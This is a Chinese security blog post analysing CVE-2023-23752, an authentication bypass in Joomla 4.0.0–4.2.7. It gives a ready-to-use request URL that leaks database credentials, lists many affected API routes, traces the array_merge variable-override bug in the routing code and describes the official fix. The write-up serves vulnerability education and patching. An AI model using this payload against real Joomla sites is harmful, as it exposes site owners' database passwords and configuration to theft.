CVE-2023-23752:Joomla未授权访问漏洞
2023-3-22 17:17:58 Author: www.secpulse.com(查看原文) 阅读量:39 收藏

上方蓝色字体关注我们,一起学安全!
作者:H1kki@Timeline Sec
本文字数:3706
阅读时长:4~6min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Joomla:开源CMS三巨头之一,是一套全球知名的内容管理系统,该系统使用PHP语言与MySQL数据库开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
0x02 漏洞概述

漏洞编号:CVE-2023-23752
攻击者可以通过构造特制请求进而访问RestAPI接口,通过变量覆盖漏洞绕过鉴权,从而获取Joomla相关配置信息

0x03 影响版本
受影响的版本:4.0.0 ~ 4.2.7
存在漏洞的路由为Rest API,Rest API于4.x正式开发
0x04 环境搭建
下载地址:Joomla V4.2.7
https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip
环境配置:Nginx 1.15.11 + Mysql 5.7.26 + PHP 7.3.4nts
安装方式:访问站点根目录即可开始安装
0x05 漏洞复现
Payload格式http://servername/api/index.php/路由路径?public=true
/api/index.php/v1/config/application?public=true:此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码
image-20230225001553364
除此之外受影响的路由还有
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id
0x06 漏洞分析
造成未授权的接口为Rest API接口,其对应的路由为:/api/index.php
我们在/api/index.php下个断点开始debug
image-20230224233514907
跳转/api/includes/app.php
image-20230224233607765
步入函数
public function execute()
{
    try {
        # 过滤用户传参
        $this->sanityCheckSystemVariables();
        $this->setupLogging();
        $this->createExtensionNamespaceMap();

        # 执行应用程序
        $this->doExecute();

        # 渲染模板对象
        if ($this->document instanceof JoomlaCMSDocumentDocument) {
            // Render the application output.
            $this->render();
        }

        # 处理gzip压缩输出
        ...
    } catch (Throwable $throwable) {
        # 错误处理
    }

    # 触发onBeforeRespond事件
    $this->getDispatcher()->dispatch('onBeforeRespond');

    # 发送程序响应信息
    $this->respond();

    # 触发onAfterRespond事件
    $this->getDispatcher()->dispatch('onAfterRespond');
}

可以看出$this->doExecute();中已经处理了后端数据,得到模板对象/响应信息了
我们步入该函数
protected function doExecute()
{
    # 初始化应用程序
    $this->initialiseApp();
    # 在profiler中标记afterInitialise
    JDEBUG ? $this->profiler->mark('afterInitialise') : null;
    # 处理路由
    $this->route();
    # 在profiler中标记afterApiRoute
    JDEBUG ? $this->profiler->mark('afterApiRoute') : null;
    # 分发应用程序
    $this->dispatch();
    # 在profiler中标记afterDispatch
    JDEBUG ? $this->profiler->mark('afterDispatch') : null;
}
发现了处理路由的逻辑$this->route();,我们跟进
protected function route()
    
{
        ...

        try {
            $this->handlePreflight($method, $router);

            $route = $router->parseApiRoute($method);  # 解析API路由
        } catch (RouteNotFoundException $e) {
            $caught404 = true;
        }
        
     ...

        # 鉴权
        if (!isset($route['vars']['public']) || $route['vars']['public'] === false) {
            if (!$this->login(['username' => ''], ['silent' => true'action' => 'core.login.api'])) {
                throw new AuthenticationFailed();
            }
        }
    }

先解析API路由,然后继续鉴权操作,先跟进解析API路由的方法
public function parseApiRoute($method = 'GET')
{
    $method = strtoupper($method);     # value: "GET"

    $validMethods = ["GET""POST""PUT""DELETE""HEAD""TRACE""PATCH"];

    if (!in_array($method, $validMethods)) {
        throw new InvalidArgumentException(sprintf('%s is not a valid HTTP method.', $method));
    }

    # 从路由中获取路径,并删除开头或结尾的斜杠
    $routePath = $this->getRoutePath();

    # 获取GET传参,以键值对的方式存储在数组中
    $query = Uri::getInstance()->getQuery(true);

    # 遍历所有已知的路线以寻找匹配
    foreach ($this->routes as $route) {
        if (in_array($method, $route->getMethods())) {
            if (preg_match($route->getRegex(), ltrim($routePath, '/'), $matches)) {
                // 进入分支,则匹配成功
                $vars = $route->getDefaults();

                foreach ($route->getRouteVariables() as $i => $var) {
                    $vars[$var] = $matches[$i + 1];
                }

                $controller = preg_split("/[.]+/", $route->getController());
                $vars       = array_merge($vars, $query);  # 将GET传参拼接到返回数组['vars']中

                return [
                    'controller' => $controller[0],
                    'task'       => $controller[1],
                    'vars'       => $vars
                ];
            }
        }
    }

    throw new RouteNotFoundException(sprintf('Unable to handle request for route `%s`.', $routePath));
}

调试的时候,需要传递一个已有路由才能进入分支,比如: /api/index.php/v1/banners
因为array_merge()的变量覆盖特性
image-20230225000709895
我们可以控制$vars的值,也就是说在解析路由的位置存在一个变量覆盖漏洞
然后我们接着往后看鉴权部分
if (!isset($route['vars']['public']) || $route['vars']['public'] === false) {
    if (!$this->login(['username' => ''], ['silent' => true'action' => 'core.login.api'])) {
        throw new AuthenticationFailed();
    }
}
因为$route['vars']可控,所以我们可以通过传递GET传参将public原有值覆盖掉,然后将其设定为true,将不会进行身份认证
0x07 修复方式

变量覆盖漏洞的修复方式比较简单,如果是覆盖已有变量造成危害,则在存在变量覆盖的函数前判断变量是否已经存在

如果像这种,是因为变量覆盖新增了一个用于鉴权的变量,则在变量覆盖函数之后,将对应的变量释放掉即可

可以参考官方的修复方式:
https://github.com/joomla/joomla-cms/compare/4.2.7...4.2.8

image-20230306143758388

可以看到,在存在变量覆盖的路由解析方法调用之后,unset掉了用于鉴权的变量,这样就无法通过变量覆盖绕过鉴权了

当然,也可以更新到漏洞修复后的版本:https://github.com/joomla/joomla-cms/releases/tag/4.2.8

参考链接:

https://xz.aliyun.com/t/12175
https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html

本文作者:Timeline Sec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/198104.html


文章来源: https://www.secpulse.com/archives/198104.html
如有侵权请联系:admin#unsafe.sh